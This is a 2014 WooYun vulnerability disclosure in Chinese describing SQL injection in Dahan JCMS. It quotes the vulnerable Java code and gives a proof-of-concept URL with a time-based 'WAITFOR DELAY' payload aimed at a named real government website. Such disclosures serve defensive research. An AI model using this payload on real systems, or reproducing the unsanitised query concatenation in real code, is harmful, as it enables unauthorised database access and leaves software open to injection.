当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061882

漏洞标题：大汉jcms 注入漏洞

相关厂商：南京大汉网络有限公司

漏洞作者： Matt

提交时间：2014-05-22 17:13

修复时间：2014-08-17 17:14

公开时间：2014-08-17 17:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-22： 细节已通知厂商并且等待厂商处理中
2014-05-23： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-07-17： 细节向核心白帽子及相关领域专家公开
2014-07-27： 细节向普通白帽子公开
2014-08-06： 细节向实习白帽子公开
2014-08-17： 细节向公众公开

简要描述：

大汉jcms 注入漏洞

详细说明：

jcms.blf.user.CatalogBlf.class

public boolean doDelete(String strId)
  {
    boolean flag = false;
    String strSql = "SELECT i_id FROM wap_cataloginfo WHERE i_parentid IN(" + strId + ") OR i_id IN(" + strId + ")";//这里的strid没过滤
    String[][] arrAnswer = Manager.doQuery(this.strAppID, strSql);
    if (arrAnswer != null)
    {
      StringBuffer sbId = new StringBuffer(arrAnswer.length * 2);
      for (int i = 0; i < arrAnswer.length; i++)
      {
        sbId.append(arrAnswer[i][0]);
        sbId.append(",");
      }


调用文件
m_5_d/opr_wap_col.jsp

}else if("D".equals(strBillStatus))
{
	boolean flag=false;
	String strid = Convert.getParameter(request,"strid");
	StringBuffer sbScript = new StringBuffer();
	flag = catalogblf.doDelete(strid);//妥妥的注入漏洞
	if(flag)/
	{
		String [] arrid = strid.split(",");
		for(int i=0;i<arrid.length;i++)

漏洞证明：

打开www.sihong.gov.cn/jcms/m_5_d/opr_wap_col.jsp?strid=122222222&fn_billstatus=D
返回时间正常
打开http://www.sihong.gov.cn/jcms/m_5_d/opr_wap_col.jsp?strid=122222222);WAITFOR DELAY '0:0:5'--&fn_billstatus=D
延时5秒左右 标准的延时注入

dahan.png

修复方案：

过滤或者这是成Int

版权声明：转载请注明来源 Matt@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-08-17 17:14

厂商回复：

此漏洞已经修复了与之前的漏洞重复。

最新状态：

暂无